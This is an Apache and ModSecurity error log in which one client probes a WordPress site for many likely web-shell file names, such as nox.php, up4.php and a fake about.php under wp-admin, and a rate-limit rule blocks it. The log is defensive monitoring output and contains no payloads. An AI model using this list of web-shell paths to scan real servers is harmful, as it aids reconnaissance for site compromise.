[Sat Feb 28 16:26:00.870860 2026] [:error] [pid 39183:tid 39196] [client 20.220.232.101:25302] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/333.php"] [unique_id "aaKmmBCf4HvhVePw3LYdVwAAAAQ"]
[Sat Feb 28 16:26:06.571498 2026] [proxy_fcgi:error] [pid 39184:tid 39232] [client 20.220.232.101:59660] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:26:06.805018 2026] [proxy_fcgi:error] [pid 39184:tid 39225] [client 20.220.232.101:59660] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:26:07.067306 2026] [proxy_fcgi:error] [pid 39184:tid 39226] [client 20.220.232.101:59660] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:26:07.300193 2026] [proxy_fcgi:error] [pid 39184:tid 39233] [client 20.220.232.101:59660] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:26:07.513210 2026] [proxy_fcgi:error] [pid 39184:tid 39237] [client 20.220.232.101:59660] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:26:07.761085 2026] [proxy_fcgi:error] [pid 39184:tid 39230] [client 20.220.232.101:59660] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:26:07.973437 2026] [proxy_fcgi:error] [pid 39184:tid 39240] [client 20.220.232.101:59660] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:26:08.216834 2026] [proxy_fcgi:error] [pid 39184:tid 39241] [client 20.220.232.101:59660] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:26:08.435341 2026] [proxy_fcgi:error] [pid 39184:tid 39226] [client 20.220.232.101:59660] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:26:08.656663 2026] [proxy_fcgi:error] [pid 39184:tid 39223] [client 20.220.232.101:59660] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:26:08.896458 2026] [proxy_fcgi:error] [pid 39184:tid 39235] [client 20.220.232.101:59660] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:26:09.470754 2026] [:error] [pid 39184:tid 39239] [client 20.220.232.101:59660] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/files.php"] [unique_id "aaKmoVtZF9Zd_U7easAfJAAAAFQ"]
[Sat Feb 28 16:26:10.977731 2026] [:error] [pid 39184:tid 39219] [client 20.220.232.101:25233] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/files.php"] [unique_id "aaKmoltZF9Zd_U7easAfLgAAAEA"]
[Sat Feb 28 16:26:13.127051 2026] [:error] [pid 39183:tid 39211] [client 20.220.232.101:24976] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/files.php"] [unique_id "aaKmpRCf4HvhVePw3LYdZAAAABM"]
[Sat Feb 28 16:26:14.714721 2026] [:error] [pid 39183:tid 39200] [client 20.220.232.101:25331] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/files.php"] [unique_id "aaKmphCf4HvhVePw3LYdbwAAAAg"]
[Sat Feb 28 16:26:18.003350 2026] [:error] [pid 49763:tid 49766] [client 20.220.232.101:24753] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file7.php"] [unique_id "aaKmqrTHSOG_yf2PpqHnvgAAAcA"]
[Sat Feb 28 16:26:22.684430 2026] [:error] [pid 49763:tid 49777] [client 20.220.232.101:24739] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file7.php"] [unique_id "aaKmrrTHSOG_yf2PpqHn0gAAAcs"]
[Sat Feb 28 16:26:24.643184 2026] [:error] [pid 39184:tid 39233] [client 20.220.232.101:64403] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file7.php"] [unique_id "aaKmsFtZF9Zd_U7easAfUQAAAE4"]
[Sat Feb 28 16:26:27.065919 2026] [:error] [pid 49763:tid 49777] [client 20.220.232.101:25314] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file7.php"] [unique_id "aaKms7THSOG_yf2PpqHn7gAAAcs"]
[Sat Feb 28 16:26:29.091932 2026] [:error] [pid 39184:tid 39243] [client 20.220.232.101:25216] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aaKmtVtZF9Zd_U7easAfVQAAAFg"]
[Sat Feb 28 16:26:31.050101 2026] [:error] [pid 39184:tid 39225] [client 20.220.232.101:24720] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aaKmt1tZF9Zd_U7easAfWQAAAEY"]
[Sat Feb 28 16:26:32.975941 2026] [:error] [pid 39184:tid 39231] [client 20.220.232.101:25273] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aaKmuFtZF9Zd_U7easAfXwAAAEw"]
[Sat Feb 28 16:26:34.744471 2026] [:error] [pid 39184:tid 39223] [client 20.220.232.101:24706] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aaKmultZF9Zd_U7easAfaAAAAEQ"]
[Sat Feb 28 16:26:36.531462 2026] [:error] [pid 39184:tid 39239] [client 20.220.232.101:24765] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaKmvFtZF9Zd_U7easAfcgAAAFQ"]
[Sat Feb 28 16:26:39.196549 2026] [:error] [pid 11791:tid 11814] [client 20.220.232.101:24712] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaKmv2uX5e1Q32gqxH1zsgAAARU"]
[Sat Feb 28 16:26:40.938626 2026] [:error] [pid 39185:tid 39262] [client 20.220.232.101:24980] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaKmwBVE-FfM89u7BQZlBgAAAJA"]
[Sat Feb 28 16:26:41.780422 2026] [:error] [pid 39184:tid 39220] [client 20.220.232.101:25237] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaKmwVtZF9Zd_U7easAfdgAAAEE"]
[Sat Feb 28 16:26:43.455307 2026] [:error] [pid 39183:tid 39203] [client 20.220.232.101:64437] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nox.php"] [unique_id "aaKmwxCf4HvhVePw3LYdigAAAAs"]
[Sat Feb 28 16:26:46.538789 2026] [:error] [pid 39184:tid 39230] [client 20.220.232.101:24731] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nox.php"] [unique_id "aaKmxltZF9Zd_U7easAfegAAAEs"]
[Sat Feb 28 16:26:48.827374 2026] [:error] [pid 39292:tid 39300] [client 20.220.232.101:25305] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nox.php"] [unique_id "aaKmyKIAO5fN7BxyqcEV1QAAAMY"]
[Sat Feb 28 16:26:50.956763 2026] [:error] [pid 39183:tid 39210] [client 20.220.232.101:25244] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nox.php"] [unique_id "aaKmyhCf4HvhVePw3LYdlAAAABI"]
[Sat Feb 28 16:26:54.281399 2026] [:error] [pid 39184:tid 39222] [client 20.220.232.101:59703] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file48.php"] [unique_id "aaKmzltZF9Zd_U7easAflgAAAEM"]
[Sat Feb 28 16:26:58.660665 2026] [:error] [pid 52460:tid 52467] [client 20.220.232.101:64410] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file48.php"] [unique_id "aaKm0rLWOogAgHGh62SoxAAAAYQ"]
[Sat Feb 28 16:26:59.685076 2026] [:error] [pid 39184:tid 39235] [client 20.220.232.101:24751] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file48.php"] [unique_id "aaKm01tZF9Zd_U7easAfuQAAAFA"]
[Sat Feb 28 16:27:00.711867 2026] [:error] [pid 11791:tid 11798] [client 20.220.232.101:25226] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file48.php"] [unique_id "aaKm1GuX5e1Q32gqxH1zyAAAAQU"]
[Sat Feb 28 16:27:03.931001 2026] [:error] [pid 49763:tid 49789] [client 20.220.232.101:64444] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/info.php"] [unique_id "aaKm17THSOG_yf2PpqHoGAAAAdc"]
[Sat Feb 28 16:27:06.581833 2026] [:error] [pid 52460:tid 52471] [client 20.220.232.101:25003] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/info.php"] [unique_id "aaKm2rLWOogAgHGh62So3QAAAYg"]
[Sat Feb 28 16:27:08.262356 2026] [proxy_fcgi:error] [pid 49763:tid 49781] [client 20.220.232.101:59667] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:27:08.503109 2026] [proxy_fcgi:error] [pid 49763:tid 49783] [client 20.220.232.101:59667] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:27:08.712457 2026] [proxy_fcgi:error] [pid 49763:tid 49776] [client 20.220.232.101:59667] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:27:08.923400 2026] [proxy_fcgi:error] [pid 49763:tid 49769] [client 20.220.232.101:59667] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:27:09.140674 2026] [proxy_fcgi:error] [pid 49763:tid 49767] [client 20.220.232.101:59667] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:27:09.350203 2026] [proxy_fcgi:error] [pid 49763:tid 49770] [client 20.220.232.101:59667] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:27:09.579688 2026] [proxy_fcgi:error] [pid 49763:tid 49786] [client 20.220.232.101:59667] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:27:09.800415 2026] [proxy_fcgi:error] [pid 49763:tid 49790] [client 20.220.232.101:59667] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:27:10.054115 2026] [proxy_fcgi:error] [pid 49763:tid 49784] [client 20.220.232.101:59667] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:27:10.291524 2026] [proxy_fcgi:error] [pid 49763:tid 49778] [client 20.220.232.101:59667] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:27:10.514980 2026] [proxy_fcgi:error] [pid 49763:tid 49772] [client 20.220.232.101:59667] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:27:10.719248 2026] [:error] [pid 49763:tid 49766] [client 20.220.232.101:59667] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/az.php"] [unique_id "aaKm3rTHSOG_yf2PpqHoVwAAAcA"]
[Sat Feb 28 16:27:13.598797 2026] [:error] [pid 39292:tid 39304] [client 20.220.232.101:25341] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/az.php"] [unique_id "aaKm4aIAO5fN7BxyqcEV-AAAAMo"]
[Sat Feb 28 16:27:17.006126 2026] [:error] [pid 11791:tid 11794] [client 20.220.232.101:24749] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/az.php"] [unique_id "aaKm5WuX5e1Q32gqxH1z2wAAAQE"]
[Sat Feb 28 16:27:20.597383 2026] [:error] [pid 52460:tid 52468] [client 20.220.232.101:24742] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/az.php"] [unique_id "aaKm6LLWOogAgHGh62So5AAAAYU"]
[Sat Feb 28 16:27:22.780927 2026] [:error] [pid 39184:tid 39235] [client 20.220.232.101:25266] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xaz.php"] [unique_id "aaKm6ltZF9Zd_U7easAgFAAAAFA"]
[Sat Feb 28 16:27:24.455557 2026] [:error] [pid 39184:tid 39233] [client 20.220.232.101:24708] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xaz.php"] [unique_id "aaKm7FtZF9Zd_U7easAgGgAAAE4"]
[Sat Feb 28 16:27:25.346723 2026] [:error] [pid 49763:tid 49766] [client 20.220.232.101:25223] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xaz.php"] [unique_id "aaKm7bTHSOG_yf2PpqHokgAAAcA"]
[Sat Feb 28 16:27:26.506280 2026] [:error] [pid 49763:tid 49790] [client 20.220.232.101:24756] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xaz.php"] [unique_id "aaKm7rTHSOG_yf2PpqHomgAAAdg"]
[Sat Feb 28 16:27:27.657380 2026] [:error] [pid 22194:tid 22220] [client 20.220.232.101:25001] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/up4.php"] [unique_id "aaKm736mbajs3bzQGytwvAAAAVg"]
[Sat Feb 28 16:27:28.939472 2026] [:error] [pid 39184:tid 39220] [client 20.220.232.101:59705] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/up4.php"] [unique_id "aaKm8FtZF9Zd_U7easAgIAAAAEE"]
[Sat Feb 28 16:27:31.873318 2026] [:error] [pid 11791:tid 11803] [client 20.220.232.101:64412] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/up4.php"] [unique_id "aaKm82uX5e1Q32gqxH1z3QAAAQo"]
[Sat Feb 28 16:27:34.815959 2026] [:error] [pid 39184:tid 39235] [client 20.220.232.101:25284] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/up4.php"] [unique_id "aaKm9ltZF9Zd_U7easAgPAAAAFA"]
[Sat Feb 28 16:27:36.802931 2026] [:error] [pid 52460:tid 52469] [client 20.220.232.101:59652] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1aa.php"] [unique_id "aaKm-LLWOogAgHGh62So8gAAAYY"]
[Sat Feb 28 16:27:40.213968 2026] [:error] [pid 11791:tid 11801] [client 20.220.232.101:24761] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1aa.php"] [unique_id "aaKm_GuX5e1Q32gqxH1z4wAAAQg"]
[Sat Feb 28 16:27:42.879836 2026] [:error] [pid 39184:tid 39241] [client 20.220.232.101:61010] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1aa.php"] [unique_id "aaKm_ltZF9Zd_U7easAgSQAAAFY"]
[Sat Feb 28 16:27:45.857308 2026] [:error] [pid 22194:tid 22218] [client 20.220.232.101:24988] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1aa.php"] [unique_id "aaKnAX6mbajs3bzQGytwygAAAVY"]
[Sat Feb 28 16:27:48.990464 2026] [:error] [pid 49763:tid 49781] [client 20.220.232.101:64414] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/elp.php"] [unique_id "aaKnBLTHSOG_yf2PpqHoyQAAAc8"]
[Sat Feb 28 16:27:52.223247 2026] [:error] [pid 49763:tid 49782] [client 20.220.232.101:25021] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/elp.php"] [unique_id "aaKnCLTHSOG_yf2PpqHo1gAAAdA"]
[Sat Feb 28 16:27:53.793939 2026] [:error] [pid 49763:tid 49769] [client 20.220.232.101:25296] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/elp.php"] [unique_id "aaKnCbTHSOG_yf2PpqHo3wAAAcM"]
[Sat Feb 28 16:27:55.165149 2026] [:error] [pid 49763:tid 49784] [client 20.220.232.101:25251] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/elp.php"] [unique_id "aaKnC7THSOG_yf2PpqHo5wAAAdI"]
[Sat Feb 28 16:27:57.475314 2026] [:error] [pid 49763:tid 49786] [client 20.220.232.101:64421] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wtz.php"] [unique_id "aaKnDbTHSOG_yf2PpqHo9QAAAdQ"]
[Sat Feb 28 16:27:59.061260 2026] [:error] [pid 49763:tid 49774] [client 20.220.232.101:64446] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wtz.php"] [unique_id "aaKnD7THSOG_yf2PpqHo-wAAAcg"]
